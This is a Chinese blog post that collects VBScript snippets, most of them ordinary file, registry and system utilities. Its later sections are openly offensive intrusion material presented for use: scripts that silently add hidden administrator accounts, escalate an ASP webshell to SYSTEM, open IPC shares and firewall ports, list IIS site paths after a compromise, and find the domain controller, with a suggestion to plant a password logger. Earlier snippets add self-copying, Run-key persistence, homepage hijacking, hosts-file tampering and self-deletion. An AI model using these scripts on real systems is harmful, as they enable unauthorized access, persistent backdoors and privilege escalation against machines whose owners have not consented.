常用的VBS小函数(持续更新)

VBS脚本用途很多：


1. 计算
2. 处理文件和文件夹
3. 管理Windows
4. 处理Word, Excel, PowerPoint等Office文档
5. 嵌入网页，驱动dHTML
6. 编写HTTP通信
7. 调用系统功能（COM组件），比如说语音说话
8. 分析HTML, XML
9. 调用命令行并分析返回结果
10. 处理图片
11. 自动化按键
12. 调用Windows Media Player并管理
13. 调用Windows Live Messenger并管理
14. 服务端技术：Active Server Page (ASP)
15. 脚本病毒
16. 处理数据库


下面是我收集的VBS代码，大部分转自gangzi.org，以后还会更新。


VBS获取系统安装路径


先定义这个变量是获取系统安装路径的，然后我们用”&strWinDir&”调用这个变量。


set WshShell = WScript.CreateObject("WScript.Shell")
strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")
VBS获取C:\Program Files路径


msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")
VBS获取C:\Program Files\Common Files路径


msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")
给桌面添加网址快捷方式


set gangzi = WScript.CreateObject("WScript.Shell")
strDesktop = gangzi.SpecialFolders("Desktop")
set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk")
oShellLink.TargetPath = "http://www.fendou.info"
oShellLink.Description = "Internet Explorer"
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"
oShellLink.Save
给收藏夹添加网址


Const ADMINISTRATIVE_TOOLS = 6


Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self    


Set objShell = WScript.CreateObject("WScript.Shell")
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")
objURLShortcut.TargetPath = "http://www.fendou.info/"
objURLShortcut.Save
删除指定目录指定后缀文件


On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile "C:\*.vbs", True
Set fso = Nothing
VBS改主页


Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.fendou.info"
VBS加启动项


Set oShell=CreateObject("Wscript.Shell")
oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"
VBS复制自己


set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")
复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)


set copy1=createobject("scripting.filesystemobject")
copy1.getfile("game.exe").copy("c:\gangzi.exe")
VBS获取系统临时目录


Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Wscript.Echo tempfolder
就算代码出错 依然继续执行


On Error Resume Next
VBS打开网址


Set objShell = CreateObject("Wscript.Shell")
objShell.Run("http://www.fendou.info/")
VBS发送邮件


NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
Email.From = "发件@qq.com"
Email.To = "收件@qq.com"
Email.Subject = "Test sendmail.vbs"
Email.Textbody = "OK!"
Email.AddAttachment "C:\1.txt"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com"
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "发件人用户名"
.Item(NameSpace&"sendpassword") = "发件人密码"
.Update
End With
Email.Send
VBS结束进程


strComputer = "."
Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'Rar.exe'")
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)


createObject("wscript.shell").run "iexplore http://www.fendou.info/",0
兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。


Set objws=WScript.CreateObject("wscript.shell")
objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""www.baidu.com",vbhide
VBS遍历硬盘删除指定文件名


On Error Resume Next
Dim fPath
strComputer = "."
Set objWMIService = GetObject _
    ("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
    ("Select * from Win32_Process Where Name = 'gangzi.exe'")
For Each objProcess in colProcessList
    objProcess.Terminate()
Next
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colDirs = objWMIService. _
ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'")
Set objFSO = CreateObject("Scripting.FileSystemObject")
For Each objDir in colDirs
fPath = objDir.Name & "\gangzi.exe"
objFSO.DeleteFile(fPath), True
Next
VBS获取网卡MAC地址


Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MsgBox "本机网卡MAC地址是: " & mo.MacAddress
Exit For
End If
Next
VBS获取本机注册表主页地址


Set reg=WScript.CreateObject("WScript.Shell")
startpage=reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
MsgBox startpage
VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话


On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Co = VbCrLf & "路过。。。"


For Each i In fso.Drives
  If i.DriveType = 2 Then
    GF fso.GetFolder(i & "\")
  End If
Next


Sub GF(fol)
  Wh fol
  Dim i
  For Each i In fol.SubFolders
    GF i
  Next
End Sub


Sub Wh(fol)
  Dim i
  For Each i In fol.Files
    If LCase(fso.GetExtensionName(i)) = "shtml" Then
      fso.OpenTextFile(i,8,0).Write Co
    End If
  Next
End Sub
获取计算机所有盘符


Set fso=CreateObject("scripting.filesystemobject")
Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives   '遍历磁盘
MsgBox objdrive
Next
VBS给本机所有磁盘根目录创建文件


On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis   '遍历磁盘
Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture)
TestFile.WriteLine("By www.gangzi.org")
TestFile.Close
Next
VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe


set fs = CreateObject("Scripting.FileSystemObject")


for each drive in fs.drives
fstraversal drive.rootfolder
next


sub fstraversal(byval this)
for each folder in this.subfolders
fstraversal folder
next
set files = this.files
for each file in files
if file.name = "123.exe" then file.name = "321.exe"
next
end sub
VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现）


str=“这里是你要复制到剪贴板的字符串”
Set ws = wscript.createobject("wscript.shell")
ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true
QQ自动发消息


On Error Resume Next
str="我是笨蛋/qq"
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0
WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true
WScript.Sleep 3000
WshShell.SendKeys "^v"
WshShell.SendKeys "%s"
VBS隐藏文件


Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("F:\软件大赛\show.txt")
If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
End If
VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途）


Randomize 521
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,"")
VBS删除桌面IE图标（非快捷方式）


Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
VBS获取自身文件名


Set fso = CreateObject("Scripting.FileSystemObject")
msgbox WScript.ScriptName
VBS读取Unicode编码的文件


Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)
strText = objFile.ReadAll
objFile.Close
Wscript.Echo strText
VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径


set stm2 =createobject("ADODB.Stream")
stm2.Charset = "utf-8"
stm2.Open
stm2.LoadFromFile gangzi
readfile = stm2.ReadText
MsgBox readfile
VBS禁用组策略


Set oShell = CreateObject("WScript.Shell")
oShell.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins",1,"REG_DWORD"
VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量


gangzi="1.txt"
gangzi2="www.gangzi.org"
Set Stm1 = CreateObject("ADODB.Stream")
Stm1.Type = 2
Stm1.Open
Stm1.Charset = "UTF-8"
Stm1.Position = Stm1.Size
Stm1.WriteText gangzi2
Stm1.SaveToFile gangzi,2
Stm1.Close
set Stm1 = nothing
VBS获取当前目录下所有文件夹名字（不包括子文件夹）


Set fso=CreateObject("scripting.filesystemobject")
Set f=fso.GetFolder(fso.GetAbsolutePathName("."))
Set folders=f.SubFolders
For Each fo In folders
  wsh.echo fo.Name
Next
Set folders=Nothing
Set f=nothing
Set fso=nothing
VBS获取指定目录下所有文件夹名字（包括子文件夹）


Dim t
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder("d:\")
WScript.Echo aa(fs)
Function aa(n)
Set f=n.subfolders
For Each uu In f
Set op=fso.GetFolder(uu.path)
t=t & vbcrlf & op.path
Call aa(op)
Next
aa=t
End function
VBS创建.URL文件（IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标）


set fso=createobject("scripting.filesystemobject")
qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)
qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)
qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL32.dll"&Chr(13)&Chr(10)
qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)
Set TestFile=fso.CreateTextFile("qq.url",Ture)
TestFile.WriteLine(qidong)
TestFile.Close
VBS写hosts（没写判断，无论存不存在都追加底部）


Set fs = CreateObject("Scripting.FileSystemObject")
path = ""&fs.GetSpecialFolder(1)&"\drivers\etc\hosts"
Set f = fs.OpenTextFile(path,8,TristateFalse)
f.Write ""&vbcrlf&"127.0.0.1 www.g.cn"&vbcrlf&"127.0.0.1 g.cn"
f.Close
VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace 下面所有键的名字并循环输出


Const HKLM = &H80000002
strPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace"
Set oreg = GetObject("Winmgmts:\root\default:StdRegProv")
    oreg.EnumKey HKLM,strPath,arr
    For Each x In arr
        WScript.Echo x
    Next
VBS创建txt文件


Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set TestFile=fso.CreateTextFile("C:\hello.txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS创建文件夹


Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
Set fld=fso.CreateFolder("C:\newFolder")
VBS判断文件夹是否存在


Dim fso,fld
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists("C:\newFolder")) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder("C:\newFolder")
End If
VBS使用变量判断文件夹


Dim fso,fld
drvName="C:\"
fldName="newFolder"
Set fso=CreateObject("Scripting.FileSystemObject")
If (fso.FolderExists(drvName&fldName)) Then
msgbox("Folder exists.")
else
set fld=fso.CreateFolder(drvName&fldName)
End If
VBS加输入框


Dim fso,TestFile,fileName,drvName,fldName
drvName=inputbox("Enter the drive to save to:","Drive letter")
fldName=inputbox("Enter the folder name:","Folder name")
fileName=inputbox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")


If(fso.FolderExists(drvName&fldName))Then
msgbox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If


Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)


TestFile.WriteLine("Hello,World!")
TestFile.Close
VBS检查是否有相同文件


Dim fso,TestFile,fileName,drvName,fldName
drvName=inputbox("Enter the drive to save to:","Drive letter")
fldName=inputbox("Enter the folder name:","Folder name")
fileName=inputbox("Enter the name of the file:","Filename")
Set fso=CreateObject("Scripting.FileSystemObject")


If(fso.FolderExists(drvName&fldName))Then
msgbox("Folder exists")
Else
Set fld=fso.CreateFolder(drvName&fldName)
End If


If(fso.FileExists(drvName&fldName&"\"&fileName&".txt"))Then
msgbox("File already exists.")
Else
Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
TestFile.WriteLine("Hello,World!")
TestFile.Close
End If
VBS改写、追加 文件


Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",2,True)   '1表示只读，2表示可写，8表示追加
openFile.Write "Hello World!"
openFile.Close
VBS读取文件 ReadAll 读取全部


Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadAll)
VBS读取文件 ReadLine 读取一行


Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.ReadLine())
MsgBox(openFile.ReadLine())   '如果读取行数超过文件的行数，就会出错
VBS读取文件 Read 读取n个字符


Dim fso,openFile
Set fso=CreateObject("Scripting.FileSystemObject")
Set openFile=fso.OpenTextFile("C:\test.txt",1,True)
MsgBox(openFile.Read(2))   '如果超出了字符数，不会出错。
VBS删除文件


Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\test.txt")
VBS删除文件夹


Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
fso.DeleteFolder("C:\newFolder") '不管文件夹中有没有文件都一并删除
VBS连续创建文件


Dim fso,TestFile
Set fso=CreateObject("Scripting.FileSystemObject")
For i=1 To 10
Set TestFile=fso.CreateTextFile("C:\hello"&i&".txt",Ture)
TestFile.WriteLine("Hello,World!")
TestFile.Close
Next 
VBS根据计算机名随机生成字符串


set ws=createobject("wscript.shell")
set wenv=ws.environment("process")
RDA=wenv("computername")
Function UCharRand(n)
For i=1 to n
Randomize ASC(MID(RDA,1,1))
temp = cint(25*Rnd)
temp = temp +65
UCharRand = UCharRand & chr(temp)
Next
End Function
msgbox UCharRand(LEN(RDA))
VBS根据mac生成序列号


Function Encode(strPass)
   Dim i, theStr, strTmp


   For i = 1 To Len(strPass)
    strTmp = Asc(Mid(strPass, i, 1))
    theStr = theStr & Abs(strTmp)
   Next


   strPass = theStr
   theStr = ""


   Do While Len(strPass) > 16
    strPass = JoinCutStr(strPass)
   Loop


   For i = 1 To Len(strPass)
    strTmp = CInt(Mid(strPass, i, 1))
    strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
    theStr = theStr & strTmp
   Next


   Encode = theStr
End Function


Function JoinCutStr(str)
   Dim i, theStr
   For i = 1 To Len(str)
    If Len(str) - i = 0 Then Exit For
    theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))
    i = i + 1
   Next
   JoinCutStr = theStr
End Function


Function IIf(var, val1, val2)
   If var = True Then
    IIf = val1
   Else
    IIf = val2
   End If
End Function


Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
theStr = mo.MacAddress
Exit For
End If
Next


Randomize Encode(theStr)
rdnum=Int(10*Rnd+5)


Function allRand(n)
  For i=1 to n
    Randomize Encode(theStr)
    temp = cint(25*Rnd)
    If temp mod 2 = 0 then
      temp = temp + 97
    ElseIf temp < 9 then
      temp = temp + 48
    Else
      temp = temp + 65
    End If
    allRand = allRand & chr(temp)
  Next
End Function
msgbox allRand(rdnum)
VBS自动连接adsl


Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial 连接名字 账号 密码",false,1
VBS自动断开ADSL


Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
wsh.run "Rasdial /DISCONNECT",false,1
VBS每隔3秒自动更换IP并打开网址实例（值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了）


Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
Set oIE = CreateObject("InternetExplorer.Application")
for i=1 to 5
wsh.run "Rasdial /DISCONNECT",false,1
wsh.run "Rasdial 连接名字 账号 密码",false,1
oIE.Navigate "http://www.ip138.com/?"&i&""
Call SynchronizeIE
oIE.Visible = True
next
Sub SynchronizeIE
On Error Resume Next
Do While(oIE.Busy)
WScript.Sleep 3000
Loop
End Sub
用VBS来加管理员帐号
在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员，详细代码如下：


set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","lcx") '建立用户
od.SetPassword "123456" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/lcx",user) '得到用户
oe.add os&"/lcx"
这段代码如果保存为1.vbs，在cmd下运行，格式: cscript 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。


用vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：


Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
sServerName=Obj3w.ServerComment
Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root")
ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf


End If
Next
WScript.Echo ListAllWeb
Set ObjService=Nothing
WScript.Quit
运行cscript 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢？


用VBS快速找到内网域的主服务器
面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像net group "domain admins" /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代码如下：


set obj=GetObject("LDAP://rootDSE")
wscript.echo obj.servername
只用这两句代码就足够了，运行cscript 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。
vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。


WebShell提权用的VBS代码
asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下:


set wsh=createobject("wscript.shell") '创建一个wsh对象
a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中
将其保存为vbs的后缀,再上传到服务上，
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧，你会发现自己己经是system权限了


VBS开启ipc服务和相关设置


Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0


Set wsh3=wscript.createobject("wscript.shell")
wsh3.Run "net user helpassistant 123456",0,false
wsh3.Run "net user helpassistant /active",0,false
wsh3.Run "net localgroup administrators helpassistant /add",0,false


wsh3.Run "net start Lanmanworkstation /y",0,false
wsh3.Run "net start Lanmanserver /y",0,false
wsh3.Run "net start ipc$",0,True
wsh3.Run "net share c$=c:\",0,false


wsh3.Run "netsh firewall set notifications disable",0,True
wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false
wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false
wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false
VBS时间判断代码


    Digital=time
    hours=Hour(Digital)
    minutes=Minute(Digital)
    seconds=Second(Digital)
    if (hours<6) then
        dn="凌辰了，还没睡啊？"
    end if
    if (hours>=6) then
        dn="早上好！"
    end if
    if (hours>12) then
        dn="下午好！"
    end if
    if (hours>18) then
        dn="晚上好！"
    end if
    if (hours>22) then
        dn="不早了，夜深了，该睡觉了！"
    end if
    if (minutes<=9) then
        minutes="0" & minutes
    end if
    if (seconds<=9) then
        seconds="0" & seconds
    end if
ctime=hours & ":" & minutes & ":" & seconds & " " & dn
Msgbox ctime
VBS注册表读写


Dim OperationRegistry , mynum
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
mynum = 9
mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
MsgBox("before forceguest = "&mynum)


OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest",0


mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest")
MsgBox("after forceguest = "&mynum)
VBS运行后删除自身代码


dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)
WScript.Echo( WScript.ScriptName)